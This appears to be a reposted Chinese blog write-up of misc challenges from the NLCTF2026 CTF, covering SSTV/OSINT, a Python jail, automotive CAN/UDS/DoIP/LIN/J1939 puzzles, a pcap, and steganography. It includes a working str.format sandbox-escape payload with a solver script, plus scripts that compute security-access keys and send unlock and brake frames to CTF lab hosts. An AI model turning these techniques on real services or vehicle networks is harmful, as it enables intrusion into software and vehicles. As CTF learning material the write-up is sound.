奶龙杯 2026 (misc)

作者:流云技术札 发布:2026-08-17 20:00 收录:2026-09-08 10:31 1 次阅读 约 3845 字
摘要:先水期misc喵
推荐理由:本文涵盖「CTF」、「Misc」、「SSTV」等多个主题,重点关注 CTF。


先水一期misc,web部分等归档了再复现

misc

[NLCTF2026] SP赵云

何视频。。?
视频下载: https://pan.baidu.com/s/194ocYYJeiDtAwnpm9wurkw?pwd=1145↗
环境:https://nailong.ctfplus.cn/↗

附件是个mp4视频
sstv得到信息 @huanpdow

image

这里我直接去环境试口令,然后不对,分析网站前端只能看到第二个口令

image

发现是arg后我就让ai爆搜这个id了,虽然最后没做出来,但很难说我ai在下面这张图里出了多少力()

image

咳咳,总之还是先复现一下,这里看的是星宇sec的wp
找到insgram账号

image

https://wwasz.lanzoul.com/inkSH4060une

下完压缩包需要密码
这里需要从视频的5*5阵列中能猜测出密码是114514(好臭

image

解压的challenge.txt有一堆字符但是无换行,查看总字符数量后爆破下每行字符串数量即可解出,得到每行96字符

from pathlib import Path

data = Path("challenge.txt").read_text()

width = 96
for i in range(0, len(data), width):
    print(data[i:i + width])
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
..................................             .. ..............................................
...............................      ...........................................................
............................    .......................:........................................
..........................   .....................:::::::::.....................................
.........................  .............:::::::::::::::::::::...................................
......................... .......:::::::::::::::::::::::::::::..................................
........................ :::.::::::::::::::::::::::::::::::::................................
.............................:::::::::::::::::::::::::::::::---:................................
........................:::::::::::::::::::::::::::::::::------:................................
.......................::----------------------::::::-----------................................
.......................:----------------------------------------:...............................
........................--===================-------=====-------:...............................
.........................:-==============================---:::::...............................
...........................:-==+++++++++++++++==========---:::::::..............................
..............................::-====++++++++++++++===----::::::::..............................
..................................:-==+++++++++++==-----:::::::::::.............................
...............................:..:--===+++++===----::::::::::::::::............................
..............................:-..::----====----:::::::::::::::::::::...........................
.............................:-=..:..::::::::::::::::::::::--:::::::::..........................
.............................-=-.. ............::::::::::::----::::::::.........................
............................-==.      ..........::::::::::--==--::::::::........................
............................=+:         ..........:::::::::--+---:::::::........................
...........................:==          ..........:::::::::--==---:::::::.......................
............................=:         ............:::::::::-=+----::::-:.......................
............................-.       ..............:::::::::--=---------:.......................
.............................       ................::::::::--==--------:.......................
............................      ..................::::::::--==--------........................
.............................   ...................:::::::::--=+*+====-.........................
.............................  ....................:::::::::---+**+*+:..........................
.................:::.......... ...:::::::::::.....:::::::::----===+=-...........................
.:::::::::::::::::::::::::::::...::::::::::::::::::--------------==:............................
:::::::::::::::--------------:::::::-------::::::------------------.............................
::::::::::::-------------------------------------=----------------:.:....:......................
::::::::::::---------------=====--=======---=============---------:::::::::::::::::::::..::.....
::::::::::::::----------=========--=+++++++++++++++++=======--------------::::::::::::::::::::::
::::::::::::::::--------=====+++#**#*+*************++++======-----===--------:::::::::::::::::::
::::::::::::::::::-------====+++**##**###***########+====---------====--------::::::::::::::::::
::::::::::::::::::::---------======+++++***********##****==++========--------:::::::::::::::::::
:::::::::::::::::::::::---------------========++++++++***++**+===---------::::::::::::::::::::::
:::::::::::::::::::::::::::::::::------------------------------------:::::::::::::::::::::::::::
...:::::::::::::::::::::::::::::::::::::::::--------::::::::::::::::::::::::::::::::::::::::::::
..........::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
................:::::::::::::::.......::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
..............................................................::::::::::::::::::::::::::::::::::
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
................................................................................................
     _     ____          _      ____   ____       _      _  ____   ____   _____ _____           
    / \   | __ )   __ _ | |__  |  _ \ |  _ \   __| |  __| ||___ \ |___ \ |___ /|___ /           
   / _ \  |  _ \  / _` || '_ \ | | | || | | | / _` | / _` |  __) |  __) |  |_ \  |_ \           
  / ___ \ | |_) || (_| || |_) || |_| || |_| || (_| || (_| | / __/  / __/  ___) |___) |          
 /_/   \_\|____/  \__,_||_.__/ |____/ |____/  \__,_| \__,_||_____||_____||____/|____/           

拿到密码 ABabDDdd2233,解压part3压缩包

得到hint.txt

你说得对,但是你知道吗,当SP赵云使用龙胆的时候会说出一句诗。
算了,总之匡扶汉室,差评如潮。
(逗号使用下划线_代替)

总之就是三国杀SP赵云使用龙胆的语音,再根据提示输入

八面威风杀气飘_擎王保驾显功劳

之后语音验证我是奶龙即可

const TARGET_PHRASE = "我是奶龙";
flag{u_@r3_NaiL0ong_a5d_SP_ZY_1s_B3st}

[NLCTF2026] 全网呼叫Typhon

直立python已jail,亿万ctfer需要typhonbreaker

pyjial题,给了源码

#challenge.py
#!/usr/bin/env python3
import ast
import os as _river
import re
import string

FAKE_FLAG = "flag{this_one_is_global_but_fake}"
ADMIN_NOTE = "debug mode is useful, maybe too useful"

def make_box():
    alpha = "not_the_right_cell"
    omega = _river.environ.get("FLAG", "flag{local_test_flag}")
    zulu = "flag{another_fake_flag_in_a_cell}"

    class Box:
        def __repr__(self):
            return "<Box locked=True>"

        def ping(self):
            return (len(alpha) ^ len(omega) ^ len(zulu)) & 7

    return Box()

box = make_box()

del make_box
del _river

BANLIST = [
    "__",
    "globals",
    "builtins",
    "import",
    "open",
    "read",
    "write",
    "eval",
    "exec",
    "compile",
    "input",
    "os",
    "sys",
    "subprocess",
    "getattr",
    "setattr",
    "delattr",
    "vars",
    "dir",
    "chr",
    "ord",
    "class",
    "base",
    "mro",
    "subclasses",
    "dict",
    "flag",
    "admin",
    "note",
    "fake",
    "river",
    "environ",
    "omega",
    "alpha",
    "zulu",
    "format",
    "func",
    "closure",
    "cell",
    "contents",
    "code",
    "module",
]

ALLOWED_AST = (
    ast.Expression,
    ast.Call,
    ast.Name,
    ast.Load,
    ast.Constant,
    ast.BinOp,
    ast.Add,
    ast.Mult,
)

def audit_output(s: str) -> str:
    if "flag{" in s.lower():
        return "[audit] sensitive output blocked"
    if re.search(r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", s, re.I):
        return "[audit] uuid-like output blocked"
    return s

def render(template):
    if not isinstance(template, str):
        raise TypeError("template must be str")

    if len(template) > 72:
        raise ValueError("template too long after folding")

    if template.count("{") > 2 or template.count("}") > 2:
        raise ValueError("too many template fields")

    result = template.format(box=box, title="echo")
    return audit_output(result)

def check_raw(expr: str):
    if len(expr) > 150:
        raise ValueError("too long")

    for ch in expr:
        if ch not in string.printable or ch in "\r\n\t":
            raise ValueError("printable ascii only")

    low = expr.lower()
    for word in BANLIST:
        if word in low:
            raise ValueError(f"bad word: {word}")

def check_ast(expr: str):
    tree = ast.parse(expr, mode="eval")

    for node in ast.walk(tree):
        if not isinstance(node, ALLOWED_AST):
            raise ValueError(f"bad syntax: {type(node).__name__}")

        if isinstance(node, ast.Name) and node.id != "render":
            raise ValueError("only render() can be used")

        if isinstance(node, ast.Call):
            if not isinstance(node.func, ast.Name) or node.func.id != "render":
                raise ValueError("only render() can be called")
            if len(node.args) != 1 or node.keywords:
                raise ValueError("render() takes exactly one argument")

        if isinstance(node, ast.Constant):
            if isinstance(node.value, str):
                if len(node.value) > 42:
                    raise ValueError("string literal too long")
            elif isinstance(node.value, int):
                if not (0 <= node.value <= 9):
                    raise ValueError("integer too large")
            else:
                raise ValueError("only str/int constants are allowed")

        if isinstance(node, ast.BinOp):
            if not isinstance(node.op, (ast.Add, ast.Mult)):
                raise ValueError("only + and * are allowed")

def main():
    print("=== please use typhonbreaker to crack it ===")
    print()
    expr = input(">>> ")

    try:
        check_raw(expr)
        check_ast(expr)
        result = eval(expr, {"__builtins__": {}}, {"render": render})
        print(result)
    except Exception as e:
        print("Nope:", e)

if __name__ == "__main__":
    main()

代码开头能看到假FLAG,真正的数据在 make_box()

def make_box():
    alpha = "not_the_right_cell"
    omega = _river.environ.get("FLAG", "flag{local_test_flag}")
    zulu = "flag{another_fake_flag_in_a_cell}"

    class Box:
        def ping(self):
            return (len(alpha) ^ len(omega) ^ len(zulu)) & 7

    return Box()

ping() 引用了外层函数的 alphaomegazulu,Python 因此会把这三个变量保存到 ping 函数的闭包中。这里的 omega 来自服务端环境变量 FLAG,即目标 Flag

后面的对该函数进行删除

box = make_box()
del make_box
del _river

只删除全局命名空间中的名字,不会销毁已经创建的闭包单元。即使 _river 被删除,box.ping 仍然持有 omegaFAKE_FLAGzuluomega 的默认值都是干扰信息,不能直接当作答案


check_raw()对原始输入进行过滤

if len(expr) > 150:
    raise ValueError("too long")
...
for word in BANLIST:
    if word in expr.lower():
        raise ValueError(f"bad word: {word}")

这里用字符串拼接即可绕过

黑名单中还有 os
closure 本身包含连续的 os,所以不能直接写 closure,必须拆成 'clo'+'sure',避免原始输入出现 os


check_ast():表达式白名单

允许的 AST 节点只有 ExpressionCallNameLoadConstantBinOpAddMult。唯一允许调用的函数是一个参数的 render();字符串常量长度不能超过 42,整数只能是 0 到 9。

这意味着输入中不能直接出现属性访问、下标访问、列表、函数定义、减法或第二个函数调用。但属性访问和下标访问可以放进 render() 的字符串参数中:AST 只看到字符串和字符串拼接,之后由 str.format 解析字符串内部的格式字段

不能在格式字段里写 [9+1],因为 str.format 不会把它当作算术表达式。它会把 9+1 当作字符串键。另一方面,题目又不允许 AST 中出现大于 9 的整数常量。

因此脚本把索引转换成数字字符,并在外层表达式中拼接:

'['+'1'+'0'+']'

最后用render()作为模板渲染利用入口

result = template.format(box=box, title="echo")

box 被作为格式化变量暴露。Python 格式字段支持连续的属性访问和下标访问,因此可以使用:

{box.ping.__func__.__closure__[1].cell_contents}

box.ping 是绑定方法,__func__ 取得底层函数,__closure__ 取得闭包元组,[1] 选择 omegacell_contents 取得 Flag 字符串

eval(expr, {"__builtins__": {}}, {"render": render}) 虽然清空了 builtins,但利用不依赖 openimport 或其他内置函数。输入只调用已暴露的 render,而 render 内部已经可以访问全局 box


这里最后audit_output()会替换输出,因此用逐字符输出绕过

if "flag{" in s.lower():
    return "[audit] sensitive output blocked"

最终pyaload及完整利用脚本

第0个字符
{box.ping.__func__.__closure__[1].cell_contents[0]}

对应输入为
render('{'+ 'box.ping.'+'_'*2+'f'+'unc'+'_'*2+'.'+'_'*2+'clo'+'sure'+'_'*2+'[1].'+'ce'+'ll_'+'cont'+'ents'+'['+'0'+']'+'}')
#!/opt/tools/ctf-py3/bin/python
import socket
import re


def make(index):
    # 将索引拆成单字符字符串,避免输入中出现不必要的黑名单内容
    index = str(index)
    index_expr = "+".join(repr(c) for c in index)

    # 运行时拼出:
    # {box.ping.__func__.__closure__[1].cell_contents[index]}
    return (
        "render('{'+"
        "'box.ping.'+"
        "'_'*2+'f'+'unc'+"
        "'_'*2+'.'+"
        "'_'*2+'clo'+'sure'+'_'*2+"
        "'[1].'+'ce'+'ll_'+'cont'+'ents'+'['+"
        + index_expr
        + "+']'+'}')"
    )


def request(expression):
    with socket.create_connection(("challenge.cyclens.tech", 30583), timeout=8) as sock:
        sock.recv(4096)
        sock.sendall(expression.encode() + b"\n")
        return sock.recv(4096).decode(errors="replace")


flag = ""
for index in range(80):
    response = request(make(index))
    match = re.search(r">>> (.*)", response)
    if not match:
        break

    character = match.group(1).strip()
    if character.startswith("Nope:"):
        break

    flag += character
    print(f"{index}: {character!r} -> {flag}")

    if character == "}":
        break

print("Flag:", flag)
flag{z7rteyxf-taxb-487-8wzt-ht0yohcsou4ep}

[NLCTF2026] Nailoong_Bike

奶龙这么黄肥的身躯能骑自行车?

附件包含两个文件 bike_algo.c  firmware_note.txt

#bike_algo.c
#include <stdint.h>

static uint32_t rol32(uint32_t value, unsigned bits) {
    bits &= 31U;
    return (value << bits) | (value >> (32U - bits));
}

uint32_t bike_mix32(uint32_t value) {
    value ^= 0x6e61696c;
    value = rol32(value, 5);
    value += 0x1f123bb5;
    return value;
}

/*
workshop key:
    key = bike_mix32(seed ^ nonce)
*/
#firmware_note.txt
Nailoong Bike test firmware note

Protocol:
  CAN over TCP

Request ID:
  0x600

Response ID:
  0x608

Useful services:
  22 F1A0  -> nonce
  27 01    -> seed
  27 02    -> key
  31 01 4242 -> flag routine

The test build keeps the key schedule in plain C for workshop debugging.

bike_algo.c``bike_algo.c给出了key的计算方法
firmware_note.txt 给出了 CAN 服务:

请求 ID:0x600
响应 ID:0x608

22 F1 A0       获取 nonce
27 01          获取 seed
27 02          提交 key
31 01 4242     触发 flag routine

开环境连接CAN端口后,服务给出格式提示

CAN ready. send lines like 700#021003

使用给出的提示进行测试,分析相应

708#065003003201F4

这个响应非常有辨识度:

06                # ISO-TP Single Frame,后面 UDS 数据长 6 字节
50 03             # UDS 0x10 03 的肯定响应
00 32 01 F4       # session 参数

0x50 = 0x10 + 0x40 是标准 UDS 正响应规律,因此可确认:
02 10 03

不是三个 UDS 字节,而是:
02       ISO-TP:后续长度 2
10 03    UDS:切换扩展诊断会话

因此解题流程为传输自定义CAN帧字节获取nonce和seed,计算出key后提交,最后触发flag routine

触发flag routine时,服务返回多帧ISO-TP

608#102E71011337666C

0x10 的高半字节为 1,是 ISO-TP First Frame;长度由低半字节和下一字节拼接:

((0x10 & 0x0f) << 8) | 0x2e = 0x2e = 46 字节

首帧只有空间放 6 字节实际数据:71 01 13 37 66 6C

收到 First Frame 后,按 ISO-TP 必须发送 Flow Control:708#300000
然后服务返回:

608#2161677B6C343465
608#22776372732D7967
608#2375662D3476382D
608#24386D6F312D6269
608#25716E633771626A
608#26647A6F6A7D

去掉#后的首个PCI字节即可进行拼接

首帧实际数据是 71 01 13 37 66 6C

连续帧
61 67 7B 33 6E 37 62
70 70 31 6C 2D 62 67
74 37 2D 34 66 70 2D
38 66 65 6D 2D 63 62
74 65 62 6E 30 62 6A
64 7A 6F 6A 7D

image

拼接后得到flag

flag{l44ewcrs-yguf-4v8-8mo1-biqnc7qbjdzoj}

完整解题脚本如下

#!/usr/bin/env python3
import re
import socket

HOST = "challenge.cyclens.tech"
PORT = 32422


def rol32(value, bits):
    return ((value << bits) | (value >> (32 - bits))) & 0xffffffff


def bike_mix32(value):
    value = (value ^ 0x6e61696c) & 0xffffffff
    value = rol32(value, 5)
    return (value + 0x1f123bb5) & 0xffffffff


def response_frame(data):
    text = data.decode(errors="replace").strip()
    match = re.search(r"608#([0-9a-fA-F]+)", text)
    if not match:
        raise RuntimeError(f"invalid response: {text!r}")
    return bytes.fromhex(match.group(1))


with socket.create_connection((HOST, PORT), timeout=5) as sock:
    sock.settimeout(2)

    # Consume the welcome line.
    sock.recv(4096)

    def request(frame):
        sock.sendall((frame + "\n").encode())
        return response_frame(sock.recv(4096))

    nonce_response = request("600#0322F1A0")
    seed_response = request("600#022701")

    # Response layout: ISO-TP length, service bytes, then 4-byte value.
    nonce = int.from_bytes(nonce_response[-4:], "big")
    seed = int.from_bytes(seed_response[-4:], "big")
    key = bike_mix32(seed ^ nonce)

    key_response = request(f"600#062702{key:08X}")
    if key_response[1:3] != bytes.fromhex("6702"):
        raise RuntimeError(f"key rejected: {key_response.hex()}")

    first = request("600#0431014242")
    if first[0] >> 4 != 1:
        raise RuntimeError(f"expected ISO-TP First Frame: {first.hex()}")

    # Continue receiving the multi-frame response.
    request("600#300000")
    frames = [first]
    while True:
        try:
            frames.append(response_frame(sock.recv(4096)))
        except socket.timeout:
            break

    # First Frame carries two length bytes; Consecutive Frames carry one.
    payload = first[2:]
    for frame in frames[1:]:
        if frame and frame[0] >> 4 == 2:
            payload += frame[1:]

    total_length = ((first[0] & 0x0f) << 8) | first[1]
    payload = payload[:total_length]
    print(payload[4:].decode())

[NLCTF2026] Nailoong_Bus

坐上奶龙巴士,出发!  
端口从上到下对应的服务分别为:MQTT、DOIP、CAN、LIN、J1939

题目给出了五个附件

bike_migration_note.txt
engine_auth_stub.asm
fleet_manifest.json
seat_module_dump.txt
vcu_j1939_cal.txt
#bike_migration_note.tx
Legacy migration note

The Engine workshop authorization module on Nailoong Bus reused a helper from an older project:

  Nailoong_Bike::bike_mix32()

Bus side logic is not identical to Bike, but the final nonlinear transform is the same.

If you have the Bike challenge materials, compare the key schedule there first.
#engine_auth_stub.asm
; engine_auth_stub.asm
; extracted from workshop test image, comments added by organizer

mov     eax, [seed]
xor     eax, [mqtt_nonce]
xor     eax, [route_token]
xor     eax, [lin_word]
xor     eax, [bcm_word]
xor     eax, [j1939_word]
call    bike_mix32

; compare against key from SecurityAccess level 1
; unlock requires workshop path and seat/route preconditions
; organizer note: the bike_mix32 core transform was reused from Nailoong_Bike
#fleet_manifest.json
{
  "vehicle": "奶龙巴士",
  "platform": "NLBUS-E",
  "variant": "workshop-test",
  "ecus": [
    {
      "name": "TBOX",
      "role": "fleet remote access",
      "exposed": ["mqtt"]
    },
    {
      "name": "GW",
      "role": "diagnostic gateway",
      "exposed": ["doip", "can"]
    },
    {
      "name": "SeatModule",
      "role": "service-position sensor",
      "bus": "lin"
    },
    {
      "name": "VCU",
      "role": "bus body controller",
      "bus": "j1939"
    },
    {
      "name": "BCM",
      "role": "body control",
      "bus": "can"
    },
    {
      "name": "Engine",
      "role": "powertrain security",
      "bus": "can"
    },
    {
      "name": "BMS",
      "role": "high-voltage service arm",
      "bus": "can"
    }
  ],
  "service_notes": {
    "mqtt": "fleet workshop topic still enabled in test image",
    "doip": "routing activation required before extended diagnostics",
    "lin": "service seat module shares maintenance latch state",
    "j1939": "parking brake gate must be set from workshop path"
  }
}
#seat_module_dump.txt
===== strings =====
LIN_SYNC=0x55
SERVICE_HOOD_ID=0x12
SEAT_SECRET_ID=0x15
SEAT_MAGIC=AA55
MAINT_POS_OK=0x9001

===== notes =====
pid parity uses classic LIN protected identifier
checksum uses enhanced checksum
service build exports one 32-bit calibration word after AA55

===== leftover debug =====
"hood latch must be true before service routine"
"seat secret is mixed by engine auth"
#vcu_j1939_cal.txt
Nailoong Bus VCU calibration excerpt

Request PGN:
  0x00EA00

Response PGN:
  0x00FEDA

Workshop brake command:
  CAN ID  : 18EF1090
  Payload : 4E 42 53 31 01
  ASCII   : NBS1\x01

Comment:
  when brake gate = 1 and workshop mode active, hv-service path may continue

Service marker:
  "NBS1"

先分析一下

  • fleet_manifest.json

    • 说明 TBOX 暴露 MQTT,网关暴露 DoIP/CAN,SeatModule 用 LIN,VCU 用 J1939。
    • 明确 workshop topic 仍然开启。
  • seat_module_dump.txt

    • 给出 LIN 同步字、座椅模块 ID、AA55 请求数据。
    • 提示 AA55 后会返回一个 32 位 calibration word。
  • vcu_j1939_cal.txt

    • 给出 J1939 请求/响应 PGN、驻车制动命令 18EF1090#4E42533101。
  • engine_auth_stub.asm

    • 给出最终 key 的异或字段顺序。
  • bike_migration_note.txt

    • 指出最终混合函数直接复用 Nailoong_Bike 的 bike_mix32()

1. 从 MQTT 获取拓扑与 workshop 状态

使用 MQTT CONNECT,然后订阅 #。公开消息会泄露完整拓扑、诊断 ID 以及多条调试提示:

VIN: NLBUS-2046
DoIP target: 0x0e00
LIN IDs: 0x12, 0x15
J1939 request PGN: 0x00EA00
J1939 response PGN: 0x00FEDA
CAN IDs: 0x700, 0x720, 0x730, 0x740, 0x750

bus/NLBUS-2046/cmd/fleet 发布:

{"cmd":"enable_workshop"}

2. 收集各总线字段

DoIP 先发送 routing activation:

02 fd 00 05 00 00 00 08 0e 80 00 00 00 00 00 00

之后向目标 0x0e00 发送 UDS ReadDataByIdentifier:

22 F1 A0 -> F5 68 6B 2C       (mqtt nonce)
22 F1 A1 -> D0 13 EA 18       (route token)

LIN 使用 classic protected identifier 和 enhanced checksum:

55 92 01 6C -> 55 92 90 01 DB
55 55 AA 55 AA -> 55 55 54 DB FD 25 57

其中 0x54DBFD25 是附件所说的 32-bit calibration word;0x9001 是维护位置状态。

J1939 请求 PGN 0x00FEDA

18EAFF80#DAFE00
-> 18FEDA90#594EE8840101FFFF

取 J1939 word 为 0x594EE884。随后发送目的地址专用驻车制动命令:

18EF1090#4E42533101
-> 18E8FF90#ACCE010000000000

CAN 首先从 0x720 读取 BCM 相关 word:

720#021003
720#0322F1B0
-> 728#0762F1B01D19CA17

因此:

bcm_word = 0x1D19CA17
seed     = 0x426F9ABE

3. 计算 key、解锁并读取 flag

附件 bike_migration_note.txt 指出复用 Bike 题的 bike_mix32()

def bike_mix32(value):
    value ^= 0x6e61696c
    value = ((value << 5) | (value >> 27)) & 0xffffffff
    return (value + 0x1f123bb5) & 0xffffffff

认证输入为所有字段异或:

x = seed ^ mqtt_nonce ^ route_token ^ lin_word ^ bcm_word ^ j1939_word
key = bike_mix32(x)

代入数据得到:

key = 0x5E47E5B8

CAN 交互链如下:

720#021003
720#0322F1B0
730#022701
730#0627025E47E5B8
-> 738#026702

740#021003
740#043101B055
-> 748#057101B05501

700#021003
700#0431011337
-> 708#102E71011337666C

最后一个响应是 ISO-TP First Frame,总长度为 0x2e。向响应地址发送 Flow Control:

708#300000

收到的连续帧为:

708#2161677B336E3762
708#227070316C2D6267
708#2374372D3466702D
708#243866656D2D6362
708#257465626E30626A
708#26707535687D

去除 ISO-TP PCI 字节并拼接数据即可得到 flag。

复现脚本

from functools import reduce

def bike_mix32(x):
    x ^= 0x6e61696c
    x = ((x << 5) | (x >> 27)) & 0xffffffff
    return (x + 0x1f123bb5) & 0xffffffff

seed = 0x426F9ABE
mqtt_nonce = 0xF5686B2C
route_token = 0xD013EA18
lin_word = 0x54DBFD25
bcm_word = 0x1D19CA17
j1939_word = 0x594EE884

x = reduce(int.__xor__, [seed, mqtt_nonce, route_token,
                         lin_word, bcm_word, j1939_word])
key = bike_mix32(x)
print(f"key = 0x{key:08X}")

frames = [
    "10 2E 71 01 13 37 66 6C",
    "21 61 67 7B 33 6E 37 62",
    "22 70 70 31 6C 2D 62 67",
    "23 74 37 2D 34 66 70 2D",
    "24 38 66 65 6D 2D 63 62",
    "25 74 65 62 6E 30 62 6A",
    "26 70 75 35 68 7D",
]

data = bytes.fromhex(" ".join(frames))
payload = data[2:8] + b"".join(
    bytes.fromhex(f)[1:] for f in frames[1:]
)
print(payload.decode())
flag{3n7bpp1l-bgt7-4fp-8fem-cbtebn0bjpu5h}

[NLCTF2026] free wifi

何wifi  
flag格式:flag{uuid}

wireshark查看pcap附件发现多为HTTP和DNS协议

image

追踪HTTP流能发现xorkey=latte

image

然后追踪DNS流能看到四个特殊域名

image

00-550246125208591559
01-560e57455951095844
02-590458531059035c04
03-45470655034315535a

明显是根据序号进行了切片,根据序号拼接数据

550246125208591559560e57455951095844590458531059035c0445470655034315535a

字符串长度为偶数且只包含十六进制字节,转换字节后进行xor解密

image

得到uuid

flag{9c2f7d8a-3b61-4e90-a42d-f0e13c9b7a66}

看到wifi应该想到wlan无线流量分析的,但这题就是网络流量隐写题,不是 IEEE 802.11 抓包

[NLCTF2026] 这还是签到

海报上有惊喜

image

flag{St3g4N0gr4phy}


转载声明:本文转载自原发布平台 (作者:流云技术札), 原文标题《奶龙杯 2026 (misc)》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。